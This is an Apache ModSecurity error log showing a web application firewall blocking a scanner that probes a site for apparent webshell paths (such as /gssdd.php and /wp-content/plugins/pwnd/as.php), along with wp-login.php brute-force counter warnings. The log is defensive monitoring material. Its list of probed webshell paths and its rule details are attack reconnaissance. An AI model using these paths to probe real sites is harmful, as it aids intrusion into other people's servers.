[Thu Apr 23 16:21:21.513561 2026] [:error] [pid 43083:tid 43107] [client 20.216.153.175:57277] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWgTC5hrvNXosL83JS8QAAANY"]
[Thu Apr 23 16:21:21.585662 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:6012] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWgYV5EysYcTLjmwjtGgAAAcU"]
[Thu Apr 23 16:21:22.238186 2026] [:error] [pid 64998:tid 65023] [client 20.216.153.175:35050] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWgoV5EysYcTLjmwjtHAAAAdU"]
[Thu Apr 23 16:21:22.403670 2026] [:error] [pid 42973:tid 43062] [client 20.216.153.175:35037] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWgm6I0QqmmmLTHE3H8QAAAJM"]
[Thu Apr 23 16:21:22.986696 2026] [:error] [pid 59700:tid 59710] [client 20.216.153.175:53096] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWgpXyGZJFeAIDWtnpwgAAAUg"]
[Thu Apr 23 16:21:23.264132 2026] [:error] [pid 43083:tid 43102] [client 20.216.153.175:53070] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWgzC5hrvNXosL83JS9QAAANE"]
[Thu Apr 23 16:21:23.656801 2026] [:error] [pid 64998:tid 65003] [client 20.216.153.175:36924] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWg4V5EysYcTLjmwjtIQAAAcE"]
[Thu Apr 23 16:21:24.269317 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:23529] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bal.php"] [unique_id "aenWhMOAb-3sOknsk4fNPQAAAEg"]
[Thu Apr 23 16:21:24.331615 2026] [:error] [pid 42972:tid 43025] [client 20.216.153.175:26898] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aenWhMOAb-3sOknsk4fNPwAAAEk"]
[Thu Apr 23 16:21:25.010610 2026] [:error] [pid 64998:tid 65012] [client 20.216.153.175:23543] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWhYV5EysYcTLjmwjtIgAAAco"]
[Thu Apr 23 16:21:25.206144 2026] [:error] [pid 59700:tid 59718] [client 20.216.153.175:40074] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aenWhZXyGZJFeAIDWtnpwwAAAVA"]
[Thu Apr 23 16:21:25.754352 2026] [:error] [pid 42973:tid 43059] [client 20.216.153.175:34697] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWhW6I0QqmmmLTHE3H9gAAAJA"]
[Thu Apr 23 16:21:25.916118 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:42857] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aenWhW6I0QqmmmLTHE3H9wAAAIc"]
[Thu Apr 23 16:21:26.724979 2026] [:error] [pid 42973:tid 43067] [client 20.216.153.175:33870] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aenWhm6I0QqmmmLTHE3H_QAAAJg"]
[Thu Apr 23 16:21:27.280103 2026] [:error] [pid 64998:tid 65017] [client 20.216.153.175:40094] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWh4V5EysYcTLjmwjtJQAAAc8"]
[Thu Apr 23 16:21:27.568261 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:34735] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aenWh26I0QqmmmLTHE3IAAAAAJE"]
[Thu Apr 23 16:21:28.210696 2026] [:error] [pid 64967:tid 64987] [client 20.216.153.175:16552] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/in.php"] [unique_id "aenWiIAV4GfOOdX8QzpYrQAAAZI"]
[Thu Apr 23 16:21:28.332087 2026] [:error] [pid 65000:tid 65050] [client 20.216.153.175:46085] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aenWiL6vRb9j6psK2Za_PgAAAhE"]
[Thu Apr 23 16:21:28.841826 2026] [:error] [pid 46953:tid 46974] [client 20.216.153.175:16538] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWiEnlpdHh-P6wKboHcQAAAlI"]
[Thu Apr 23 16:21:29.178672 2026] [:error] [pid 64998:tid 65007] [client 20.216.153.175:46086] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aenWiYV5EysYcTLjmwjtKAAAAcU"]
[Thu Apr 23 16:21:29.874689 2026] [:error] [pid 46953:tid 46959] [client 20.216.153.175:5963] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bs1.php"] [unique_id "aenWiUnlpdHh-P6wKboHcwAAAkM"]
[Thu Apr 23 16:21:30.028140 2026] [:error] [pid 46953:tid 46957] [client 20.216.153.175:41835] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWiknlpdHh-P6wKboHdAAAAkE"]
[Thu Apr 23 16:21:30.589210 2026] [:error] [pid 43083:tid 43101] [client 20.216.153.175:36901] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aenWijC5hrvNXosL83JS9wAAANA"]
[Thu Apr 23 16:21:30.675265 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:26924] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWisOAb-3sOknsk4fNQgAAAFc"]
[Thu Apr 23 16:21:31.556628 2026] [:error] [pid 43083:tid 43096] [client 20.216.153.175:16548] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aenWizC5hrvNXosL83JS-QAAAMs"]
[Thu Apr 23 16:21:31.671940 2026] [:error] [pid 42972:tid 43024] [client 20.216.153.175:12361] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gssdd.php"] [unique_id "aenWi8OAb-3sOknsk4fNRQAAAEg"]
[Thu Apr 23 16:21:32.368139 2026] [:error] [pid 64998:tid 65012] [client 20.216.153.175:34739] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aenWjIV5EysYcTLjmwjtLgAAAco"]
[Thu Apr 23 16:21:32.775430 2026] [:error] [pid 46953:tid 46958] [client 20.216.153.175:59337] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aenWjEnlpdHh-P6wKboHdgAAAkI"]
[Thu Apr 23 16:21:33.111365 2026] [:error] [pid 46953:tid 46980] [client 20.216.153.175:46110] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aenWjUnlpdHh-P6wKboHdwAAAlc"]
[Thu Apr 23 16:21:33.952741 2026] [:error] [pid 42973:tid 43062] [client 20.216.153.175:16539] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/axx.php"] [unique_id "aenWjW6I0QqmmmLTHE3IBwAAAJM"]
[Thu Apr 23 16:21:34.677822 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:33869] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aenWjoV5EysYcTLjmwjtMAAAAdc"]
[Thu Apr 23 16:21:34.733642 2026] [:error] [pid 46953:tid 46967] [client 20.216.153.175:33490] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/axx.php"] [unique_id "aenWjknlpdHh-P6wKboHeAAAAks"]
[Thu Apr 23 16:21:42.756832 2026] [:error] [pid 25635:tid 25657] [client 158.220.111.241:48992] [client 158.220.111.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.220.111.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenWlsRxv6UsgRGKB3IdxQAAARI"]
[Thu Apr 23 16:21:44.012207 2026] [:error] [pid 25635:tid 25648] [client 158.220.111.241:48992] [client 158.220.111.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 158.220.111.241, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aenWmMRxv6UsgRGKB3IdxgAAAQk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 23 16:21:55.105696 2026] [:error] [pid 59700:tid 59714] [client 20.216.153.175:5994] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenWo5XyGZJFeAIDWtnp1AAAAUw"]
[Thu Apr 23 16:21:56.090179 2026] [:error] [pid 46953:tid 46969] [client 20.216.153.175:57212] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenWpEnlpdHh-P6wKboHggAAAk0"]
[Thu Apr 23 16:21:56.095764 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:53568] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file48.php"] [unique_id "aenWpMOAb-3sOknsk4fNsAAAAEM"]
[Thu Apr 23 16:21:57.208594 2026] [:error] [pid 42973:tid 43047] [client 20.216.153.175:55926] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenWpW6I0QqmmmLTHE3IKQAAAIQ"]
[Thu Apr 23 16:21:57.302933 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:6045] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file48.php"] [unique_id "aenWpcOAb-3sOknsk4fNsgAAAEE"]
[Thu Apr 23 16:21:57.930070 2026] [:error] [pid 64967:tid 64976] [client 20.216.153.175:57211] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/485.php"] [unique_id "aenWpYAV4GfOOdX8QzpYswAAAYc"]
[Thu Apr 23 16:21:58.772541 2026] [:error] [pid 64998:tid 65002] [client 20.216.153.175:41277] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenWpoV5EysYcTLjmwjtQAAAAcA"]
[Thu Apr 23 16:21:59.900181 2026] [:error] [pid 43083:tid 43091] [client 20.216.153.175:48012] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenWpzC5hrvNXosL83JTAQAAAMY"]
[Thu Apr 23 16:22:01.108231 2026] [:error] [pid 64998:tid 65008] [client 20.216.153.175:41262] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenWqYV5EysYcTLjmwjtRQAAAcY"]
[Thu Apr 23 16:22:02.676903 2026] [:error] [pid 65000:tid 65046] [client 20.216.153.175:6021] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/drykl.php"] [unique_id "aenWqr6vRb9j6psK2Za_WwAAAg0"]
[Thu Apr 23 16:22:04.096563 2026] [:error] [pid 64998:tid 65025] [client 20.216.153.175:59392] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenWrIV5EysYcTLjmwjtSQAAAdc"]
[Thu Apr 23 16:22:05.302603 2026] [:error] [pid 64998:tid 65018] [client 20.216.153.175:59454] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenWrYV5EysYcTLjmwjtUgAAAdA"]
[Thu Apr 23 16:22:06.101431 2026] [:error] [pid 46953:tid 46969] [client 20.216.153.175:53156] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenWrknlpdHh-P6wKboHkAAAAk0"]
[Thu Apr 23 16:22:07.276918 2026] [:error] [pid 65000:tid 65042] [client 20.216.153.175:5424] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xxx.php"] [unique_id "aenWr76vRb9j6psK2Za_YAAAAgk"]
[Thu Apr 23 16:22:08.292597 2026] [:error] [pid 59700:tid 59718] [client 20.216.153.175:55949] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hypo.php"] [unique_id "aenWsJXyGZJFeAIDWtnp2QAAAVA"]
[Thu Apr 23 16:22:09.651938 2026] [:error] [pid 65000:tid 65031] [client 20.216.153.175:14059] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file48.php"] [unique_id "aenWsb6vRb9j6psK2Za_aAAAAgI"]
[Thu Apr 23 16:22:14.135993 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:5383] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hypo.php"] [unique_id "aenWtsOAb-3sOknsk4fNxQAAAE8"]
[Thu Apr 23 16:22:15.877797 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:22072] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hypo.php"] [unique_id "aenWt8OAb-3sOknsk4fNygAAAEc"]
[Thu Apr 23 16:22:16.680167 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:36577] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hypo.php"] [unique_id "aenWuMOAb-3sOknsk4fNzQAAAE0"]
[Thu Apr 23 16:22:17.893930 2026] [:error] [pid 46953:tid 46958] [client 20.216.153.175:22055] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file18.php"] [unique_id "aenWuUnlpdHh-P6wKboHnwAAAkI"]
[Thu Apr 23 16:22:18.953197 2026] [:error] [pid 59700:tid 59717] [client 20.216.153.175:40019] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file18.php"] [unique_id "aenWupXyGZJFeAIDWtnp5AAAAU8"]
[Thu Apr 23 16:22:20.050053 2026] [:error] [pid 59700:tid 59702] [client 20.216.153.175:56541] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file18.php"] [unique_id "aenWvJXyGZJFeAIDWtnp6AAAAUA"]
